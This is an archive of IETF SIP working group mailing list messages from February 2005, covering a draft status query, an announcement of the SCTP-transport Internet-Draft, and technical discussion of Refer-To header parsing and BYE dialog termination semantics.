([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CxAFw-0005M5-SJ; Fri, 04 Feb 2005 15:40:44 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CxACr-0003ZL-CB for sip@megatron.ietf.org; Fri, 04 Feb 2005 15:37:33 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA02269 for ; Fri, 4 Feb 2005 15:37:30 -0500 (EST) Received: from asg03.asg.bellsouth.net ([65.83.231.30]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CxAVg-0002wH-Jp for sip@ietf.org; Fri, 04 Feb 2005 15:57:01 -0500 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Date: Fri, 4 Feb 2005 15:39:41 -0500 Message-ID: <91A7043427443A4EAF6E7DA4D00B534D20E9F5@asg03.asg.bellsouth.net> Thread-Topic: status of draft-johnston-sip-osp-token-06 Thread-Index: AcUK+acLx772HL43SIefw+hSO6OMYA== From: "Tim Wong" To: X-Spam-Score: 0.0 (/) X-Scan-Signature: 8de5f93cb2b4e3bee75302e9eacc33db Subject: [Sip] status of draft-johnston-sip-osp-token-06 X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============0782899250==" Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.2 (/) X-Scan-Signature: 67c1ea29f88502ef6a32ccec927970f0 This is a multi-part message in MIME format. --===============0782899250== Content-class: urn:content-classes:message Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C50AF9.A75002D7" This is a multi-part message in MIME format. ------_=_NextPart_001_01C50AF9.A75002D7 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable Hi, Can someone tell me what is the status of draft-johnston-sip-osp-token-06. Currently, it had expired on December 2004. =20 Thanks, Tim =20 ------_=_NextPart_001_01C50AF9.A75002D7 Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable

Hi,

Can someone tell me what is =
the status of draft-johnston-sip-osp-token-06. Currently, =
it had expired on December 2004.
 
Thanks,
Tim

 

------_=_NextPart_001_01C50AF9.A75002D7-- --===============0782899250== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip --===============0782899250==-- From sip-bounces@ietf.org Sat Feb 5 21:25:48 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA23658 for ; Sat, 5 Feb 2005 21:25:48 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CxcQY-0005eB-Vj for sip-web-archive@ietf.org; Sat, 05 Feb 2005 21:45:35 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cxc5C-0005a8-KI; Sat, 05 Feb 2005 21:23:30 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cxc3v-0005LN-18 for sip@megatron.ietf.org; Sat, 05 Feb 2005 21:22:11 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA23402 for ; Sat, 5 Feb 2005 21:22:09 -0500 (EST) Received: from pmesmtp02.wcom.com ([199.249.20.2] helo=pmesmtp02.mci.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CxcN1-0005YQ-44 for sip@ietf.org; Sat, 05 Feb 2005 21:41:55 -0500 Received: from dgismtp06.wcomnet.com ([166.38.58.89]) by firewall.wcom.com (Iplanet MTA 5.2) with ESMTP id <0IBG00N0LX6U29@firewall.wcom.com> for sip@ietf.org; Sun, 06 Feb 2005 02:20:55 +0000 (GMT) Received: from dgismtp06.wcomnet.com by dgismtp06.mcilink.com (iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar 18 2003)) with SMTP id <0IBG00901X6UNG@dgismtp06.mcilink.com>; Sun, 06 Feb 2005 02:20:54 +0000 (GMT) Received: from usashfe002.mcilink.com ([153.39.73.78]) by dgismtp06.mcilink.com (iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar 18 2003)) with ESMTP id <0IBG00907X6ULV@dgismtp06.mcilink.com>; Sun, 06 Feb 2005 02:20:54 +0000 (GMT) Received: from usashms001.mcilink.com ([153.39.82.129]) by usashfe002.mcilink.com with Microsoft SMTPSVC(6.0.3790.211); Sun, 06 Feb 2005 02:20:54 +0000 Date: Sun, 06 Feb 2005 02:20:52 +0000 From: "Johnston, Alan" Subject: RE: [Sip] status of draft-johnston-sip-osp-token-06 To: Tim Wong , sip@ietf.org Message-id: <40AF35183B110B4899DD3221904B6B580E1E9E@usashms001.mcilink.com> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message Thread-topic: [Sip] status of draft-johnston-sip-osp-token-06 Thread-index: AcUK+acLx772HL43SIefw+hSO6OMYAA+C0Zg X-OriginalArrivalTime: 06 Feb 2005 02:20:54.0183 (UTC) FILETIME=[7C177370:01C50BF2] X-Spam-Score: 0.2 (/) X-Scan-Signature: 932cba6e0228cc603da43d861a7e09d8 X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1513682410==" Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.3 (/) X-Scan-Signature: 827a2a57ca7ab0837847220f447e8d56 This is a multi-part message in MIME format. --===============1513682410== Content-type: multipart/alternative; boundary="Boundary_(ID_ka18uAVwtuGzttDZnQaLlg)" Content-class: urn:content-classes:message This is a multi-part message in MIME format. --Boundary_(ID_ka18uAVwtuGzttDZnQaLlg) Content-type: text/plain; charset=US-ASCII Content-Transfer-Encoding: quoted-printable Hi Tim, =20 It hasn't expired (it is still in the archives). It is currently under review by the IESG - don't have a current status. One day, it will be an RFC... =20 Thanks, Alan Johnston sip:alan@sipstation.com -----Original Message----- From: sip-bounces@ietf.org [mailto:sip-bounces@ietf.org] On Behalf Of Tim Wong Sent: Friday, February 04, 2005 2:40 PM To: sip@ietf.org Subject: [Sip] status of draft-johnston-sip-osp-token-06 =09 =09 Hi, Can someone tell me what is the status of draft-johnston-sip-osp-token-06. Currently, it had expired on December 2004. =20 Thanks, Tim =20 --Boundary_(ID_ka18uAVwtuGzttDZnQaLlg) Content-type: text/html; charset=US-ASCII Content-Transfer-Encoding: quoted-printable Message
Hi=20 Tim,
 
It=20 hasn't expired (it is still in the archives).  It is currently = under review=20 by the IESG - don't have a current status.  One day, it will  = be an=20 RFC...
 
Thanks,
Alan=20 Johnston
sip:alan@sipstation.com
-----Original Message-----
From:=20 sip-bounces@ietf.org [mailto:sip-bounces@ietf.org] On Behalf Of = Tim=20 Wong
Sent: Friday, February 04, 2005 2:40 PM
To:=20 sip@ietf.org
Subject: [Sip] status of=20 draft-johnston-sip-osp-token-06

Hi,

Can someone =
tell me what is the status of =
draft-johnston-sip-osp-token-06. Currently, it had expired =
on December 2004.
 
Thanks,
Tim

 

=00= --Boundary_(ID_ka18uAVwtuGzttDZnQaLlg)-- --===============1513682410== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip --===============1513682410==-- From sip-bounces@ietf.org Mon Feb 7 16:59:35 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA00364 for ; Mon, 7 Feb 2005 16:59:34 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CyHEP-0008IY-0k for sip-web-archive@ietf.org; Mon, 07 Feb 2005 17:19:45 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CyGJt-00034U-Av; Mon, 07 Feb 2005 16:21:21 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CyFlO-0006sP-Qc; Mon, 07 Feb 2005 15:45:42 -0500 Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA12207; Mon, 7 Feb 2005 15:45:40 -0500 (EST) Message-Id: <200502072045.PAA12207@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: i-d-announce@ietf.org From: Internet-Drafts@ietf.org Date: Mon, 07 Feb 2005 15:45:40 -0500 Cc: sip@ietf.org Subject: [Sip] I-D ACTION:draft-ietf-sip-sctp-06.txt X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.4 (/) X-Scan-Signature: 6e922792024732fb1bb6f346e63517e4 --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Session Initiation Protocol Working Group of the IETF. Title : The Stream Control Transmission Protocol (SCTP) as a Transport for the Session Initiation Protocol (SIP) Author(s) : J. Rosenberg, et al. Filename : draft-ietf-sip-sctp-06.txt Pages : 11 Date : 2005-2-4 This document specifies a mechanism for usage of SCTP (the Stream Control Transmission Protocol) as the transport between SIP (Session Initiation Protocol) entities. SCTP is a new protocol which provides several features that may prove beneficial for transport between SIP entities which exchange a large amount of messages, including gateways and proxies. As SIP is transport independent, support of SCTP is a relatively straightforward process, nearly identical to support for TCP. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-sip-sctp-06.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-sip-sctp-06.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-sip-sctp-06.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2005-2-7160724.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-sip-sctp-06.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-sip-sctp-06.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2005-2-7160724.I-D@ietf.org> --OtherAccess-- --NextPart Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip --NextPart-- From sip-bounces@ietf.org Tue Feb 8 04:43:22 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA19977 for ; Tue, 8 Feb 2005 04:43:22 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CySDZ-0007tP-Vb for sip-web-archive@ietf.org; Tue, 08 Feb 2005 05:03:38 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CyRrV-0000Kl-9K; Tue, 08 Feb 2005 04:40:49 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CyRoV-0008Q6-BY for sip@megatron.ietf.org; Tue, 08 Feb 2005 04:37:43 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA19498 for ; Tue, 8 Feb 2005 04:37:41 -0500 (EST) Received: from smtp2.dataconnection.com ([192.91.191.8]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CyS83-0007jX-RA for sip@ietf.org; Tue, 08 Feb 2005 04:57:57 -0500 Received: from enfismtp2.datcon.co.uk ([172.19.16.2]) by smtp2.dataconnection.com with Microsoft SMTPSVC(6.0.3790.211); Tue, 8 Feb 2005 09:37:10 +0000 Content-class: urn:content-classes:message MIME-Version: 1.0 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Date: Tue, 8 Feb 2005 09:37:01 -0000 Message-ID: <53F74F5A7B94D511841C00B0D0AB16F803E534C9@baker.datcon.co.uk> Thread-Topic: Refer-To header/RFC3261 ambiguity? Thread-Index: AcUNwcKu9v70ASA7Q9OsyHObtQZ32g== From: "Paul D.Smith" To: "SIP WG" X-OriginalArrivalTime: 08 Feb 2005 09:37:10.0228 (UTC) FILETIME=[C30E7140:01C50DC1] X-Spam-Score: 0.8 (/) X-Scan-Signature: f884eb1d4ec5a230688d7edc526ea665 Cc: "Paul D.Smith" Subject: [Sip] Refer-To header/RFC3261 ambiguity? X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1601165255==" Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.8 (/) X-Scan-Signature: 32029c790f79bd4a84a26bd2915c54b9 This is a multi-part message in MIME format. --===============1601165255== Content-class: urn:content-classes:message Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C50DC1.BDADF270" This is a multi-part message in MIME format. ------_=_NextPart_001_01C50DC1.BDADF270 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable All, We've recently hit a problem with REFER interoperability, on receipt of a REFER request with a Refer-To header like this: Refer-To: sip:user@domain.com;user=3Dphone?Replaces=3Dsomething The issue is whether the ";user=3Dphone" should be parsed as a URI parameter or a header parameter. Obviously the intent here is that it is a URI parameter, but allowing this runs counter to existing SIP precedent. The problem appears to be that the specification of the Refer-To header (in RFC 3515 section 2.1) is missing some key words that other headers of similar format (namely the To, From, Contact and Reply-To headers) have in RFC 3261. RFC3261 section 20 states: The Contact, From, and To header fields contain a URI. If the URI contains a comma, question mark or semicolon, the URI MUST be enclosed in angle brackets (< and >). Any URI parameters are contained within these brackets. If the URI is not enclosed in angle brackets, any semicolon-delimited parameters are header-parameters, not URI parameters. RFC3261 section 20.31 (Reply-To) states: Even if the "display-name" is empty, the "name-addr" form MUST be used if the "addr-spec" contains a comma, question mark, or semicolon. Syntax issues are discussed in Section 7.3.1. Note that To, Reply-To, From and Contact are the only RFC3261 headers that are defined as "addr-spec / name-addr ...", similarly to=20 Refer-To. For the RFC 3261 headers - if we are understanding correctly - these words exist in order to force the protocol to be clear about the structural difference between Contact: and Contact: ;expires=3D30 It seems that it would be a good idea to impose the same requirement for the Refer-To header. Our guess, therefore, is that RFC 3515 should have the same words for the Refer-To header as RFC 3261 has for the To/From/Contact headers. Are we right? Regards, Paul D Smith Network Protocols Group=20 Data Connection Ltd (DCL) Tel: +44 20 8366 1177 Email: paul.d.smith@dataconnection.com=20 Fax: +44 20 8363 1039 Web: http://www.dataconnection.com ------_=_NextPart_001_01C50DC1.BDADF270 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Refer-To header/RFC3261 ambiguity?

All,

We've recently hit a problem with = REFER interoperability, on receipt
of a REFER request with a = Refer-To header like this:

   Refer-To: = sip:user@domain.com;user=3Dphone?Replaces=3Dsomething

The issue is whether the = ";user=3Dphone" should be parsed as a URI
parameter or a header = parameter.  Obviously the intent here is that it
is a URI parameter, but allowing = this runs counter to existing SIP
precedent.

The problem appears to be that = the specification of the Refer-To
header (in RFC 3515 section 2.1) = is missing some key words that other
headers of similar format = (namely the To, From, Contact and Reply-To
headers) have in RFC = 3261.

RFC3261 section 20 states:

   The Contact, From, = and To header fields contain a URI.  If the URI
   contains a comma, = question mark or semicolon, the URI MUST be
   enclosed in angle = brackets (< and >).  Any URI parameters are
   contained within = these brackets.  If the URI is not enclosed in angle
   brackets, any = semicolon-delimited parameters are header-parameters,
   not URI = parameters.

RFC3261 section 20.31 (Reply-To) = states:

   Even if the = "display-name" is empty, the "name-addr" form MUST = be
   used if the = "addr-spec" contains a comma, question mark, or
   semicolon.  = Syntax issues are discussed in Section 7.3.1.

Note that To, Reply-To, From and = Contact are the only RFC3261 headers
that are defined as = "addr-spec / name-addr ...", similarly to
Refer-To.

For the RFC 3261 headers - if we = are understanding correctly - these
words exist in order to force = the protocol to be clear about the
structural difference = between

   Contact: = <sip:user@domain.com;transport=3DUDP>

and

   Contact: = <sip:user@domain.com>;expires=3D30

It seems that it would be a good = idea to impose the same requirement
for the Refer-To header.  = Our guess, therefore, is that RFC 3515
should have the same words for = the Refer-To header as RFC 3261 has for
the To/From/Contact = headers.  Are we right?

Regards,
Paul D Smith
Network Protocols Group
Data Connection Ltd (DCL)
Tel: +44 20 8366 1177  = Email: paul.d.smith@dataconnection.com
Fax: +44 20 8363 1039  = Web:   http://www.dataconnection.com<= /FONT>

------_=_NextPart_001_01C50DC1.BDADF270-- --===============1601165255== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip --===============1601165255==-- From sip-bounces@ietf.org Tue Feb 8 08:20:14 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA07498 for ; Tue, 8 Feb 2005 08:20:14 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CyVbT-0004Ni-IY for sip-web-archive@ietf.org; Tue, 08 Feb 2005 08:40:31 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CyVAL-0004YJ-KT; Tue, 08 Feb 2005 08:12:29 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CyV8M-0000Vk-Rg for sip@megatron.ietf.org; Tue, 08 Feb 2005 08:10:26 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA06562 for ; Tue, 8 Feb 2005 08:10:25 -0500 (EST) Received: from [65.220.123.3] (helo=mail.pingtel.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CyVRx-00046e-CX for sip@ietf.org; Tue, 08 Feb 2005 08:30:42 -0500 Received: from cdhcp80.pingtel.com (hide.pingtel.com [65.220.123.2]) by mail.pingtel.com (Postfix) with ESMTP id 97C486C01F; Tue, 8 Feb 2005 08:10:24 -0500 (EST) Subject: Re: [Sip] Refer-To header/RFC3261 ambiguity? From: Scott Lawrence To: "Paul D.Smith" In-Reply-To: <53F74F5A7B94D511841C00B0D0AB16F803E534C9@baker.datcon.co.uk> References: <53F74F5A7B94D511841C00B0D0AB16F803E534C9@baker.datcon.co.uk> Content-Type: text/plain Date: Tue, 08 Feb 2005 08:10:24 -0500 Message-Id: <1107868224.22752.4.camel@cdhcp80.pingtel.com> Mime-Version: 1.0 X-Mailer: Evolution 2.0.2 (2.0.2-3) Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: 9466e0365fc95844abaf7c3f15a05c7d Content-Transfer-Encoding: 7bit Cc: SIP WG X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: bb8f917bb6b8da28fc948aeffb74aa17 Content-Transfer-Encoding: 7bit On Tue, 2005-02-08 at 09:37 +0000, Paul D.Smith wrote: > All, > > We've recently hit a problem with REFER interoperability, on receipt > of a REFER request with a Refer-To header like this: > > Refer-To: sip:user@domain.com;user=phone?Replaces=something > > The issue is whether the ";user=phone" should be parsed as a URI > parameter or a header parameter. Obviously the intent here is that > it > is a URI parameter, but allowing this runs counter to existing SIP > precedent. > > The problem appears to be that the specification of the Refer-To > header (in RFC 3515 section 2.1) is missing some key words that other > headers of similar format (namely the To, From, Contact and Reply-To > headers) have in RFC 3261. > It seems that it would be a good idea to impose the same requirement > for the Refer-To header. Our guess, therefore, is that RFC 3515 > should have the same words for the Refer-To header as RFC 3261 has > for > the To/From/Contact headers. Are we right? I think it would be an even better fix to change the 3261 text to clarify that the rule applies to any use of addr-spec or name-addr. _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Tue Feb 8 12:36:16 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA27484 for ; Tue, 8 Feb 2005 12:36:16 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CyZbI-0001UW-Id for sip-web-archive@ietf.org; Tue, 08 Feb 2005 12:56:36 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CyZGI-0003l0-Hz; Tue, 08 Feb 2005 12:34:54 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CyZDK-0003De-Tb for sip@megatron.ietf.org; Tue, 08 Feb 2005 12:31:51 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA27269 for ; Tue, 8 Feb 2005 12:31:48 -0500 (EST) Received: from smtp2.dataconnection.com ([192.91.191.8]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CyZWx-0001PU-KP for sip@ietf.org; Tue, 08 Feb 2005 12:52:08 -0500 Received: from enfismtp2.datcon.co.uk ([172.19.16.2]) by smtp2.dataconnection.com with Microsoft SMTPSVC(6.0.3790.211); Tue, 8 Feb 2005 17:31:17 +0000 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Date: Tue, 8 Feb 2005 17:31:01 -0000 Message-ID: <53F74F5A7B94D511841C00B0D0AB16F803E534D7@baker.datcon.co.uk> Thread-Topic: wording in the dialog package on mid-dialog requests Thread-Index: AcUFeFttPPQiw2bwS9yroh7wsk6HUwId3PRA From: "Paul D.Smith" To: "Rohan Mahy" , "SIP WG" X-OriginalArrivalTime: 08 Feb 2005 17:31:17.0414 (UTC) FILETIME=[FEE68C60:01C50E03] X-Spam-Score: 0.0 (/) X-Scan-Signature: b7b9551d71acde901886cc48bfc088a6 Content-Transfer-Encoding: quoted-printable Subject: [Sip] RE: wording in the dialog package on mid-dialog requests X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: f66b12316365a3fe519e75911daf28a8 Content-Transfer-Encoding: quoted-printable Rohan, I think the text is better and now ensures that a NOTIFY response does not take down the dialog. However I am still concerned about the whole idea that sending a BYE ends a dialog. I believe this is tantamount to making a BYE pointless. The reason for saying this is we are removing ability to either challenge a BYE, or to indicate that a BYE failed to reach the UAS as a result of a temporary problem. If I receive either a 407, 401 or 486 response, I MUST be able to resend the BYE but by your definition, the dialog has already ended. This seems simply wrong and, as I've pointed out before, totally contrary to the text in RFC3261. Now if this is the route that the WG wants to take then so be it, but we then need to start making associated changes to SIP. If we are going to say "when you send a BYE, the dialog is ended" then I propose that we need to clarify SIP behavior as follows. 1. A BYE cannot be challenged. Umm, can't see people liking that but since the dialog ends on sending the first BYE, there is=20 no dialog so its over! Perhaps we could indicate that a UAS can, should it wish, reject an unauthenticated BYE but it should NOT expect to receive a better BYE. [There is obviously a DoS attack possible if we allow any unauthenticated BYE to end a dialog] 2. A UAS must determine for itself when a dialog has ended in case a proxy sends a 486 and the UAC never resends a BYE. Now this is clearly an application level requirement already in case,=20 for example, a lost network connection rules out all chance of a BYE ever arriving. But your change makes is a much more common occurrence ?? caused by a short-term overload. Thoughts? Paul D Smith Network Protocols Group=20 Data Connection Ltd (DCL) Tel: +44 20 8366 1177 Email: paul.d.smith@dataconnection.com=20 Fax: +44 20 8363 1039 Web: http://www.dataconnection.com -----Original Message----- From: Rohan Mahy [mailto:rohan@ekabal.com] Sent: 28 January 2005 20:32 To: SIP Subject: wording in the dialog package on mid-dialog requests Hi Paul, To clarify the difference between a 481 to a NOTIFY (intended for a=20 subscribe usage), and a 481 to a request specific to the INVITE usage=20 of a dialog, I propose the following small change to the text in the=20 dialog package. I believe this addresses your concern with respect to=20 the dialog package specification itself. In general, we need to be more=20 specific about the context of error responses. thanks, -rohan Current Text > Once in the confirmed state, the call is active. It can transition to=20 > the terminated state if the UAC sends a BYE or receives a BYE=20 > (corresponding to the "local-bye" and "remote-bye" events as=20 > appropriate), if a mid-dialog request generates a 481 or 408 response=20 > (corresponding to the "error" event), or a mid-dialog request=20 > generates no response (corresponding to the "timeout" event). Proposed Text > Once in the confirmed state, the call is active. It can transition to=20 > the terminated state if the UAC sends a BYE or receives a BYE=20 > (corresponding to the "local-bye" and "remote-bye" events as=20 > appropriate), if a mid-dialog request corresponding to the INVITE=20 > usage of that dialog (currently PRACK, UPDATE, INFO, and reINVITE=20 > requests) generates a 481 or 408 response (corresponding to the=20 > "error" event), or if any mid-dialog request generates no response=20 > (corresponding to the "timeout" event). _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Tue Feb 8 13:17:32 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA01378 for ; Tue, 8 Feb 2005 13:17:32 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CyaFF-0002XN-9G for sip-web-archive@ietf.org; Tue, 08 Feb 2005 13:37:53 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CyZt6-0004FW-IP; Tue, 08 Feb 2005 13:15:00 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CyZpj-0003HB-QF for sip@megatron.ietf.org; Tue, 08 Feb 2005 13:11:31 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA00899 for ; Tue, 8 Feb 2005 13:11:29 -0500 (EST) Received: from sj-iport-2-in.cisco.com ([171.71.176.71] helo=sj-iport-2.cisco.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cya9N-0002O4-Qa for sip@ietf.org; Tue, 08 Feb 2005 13:31:50 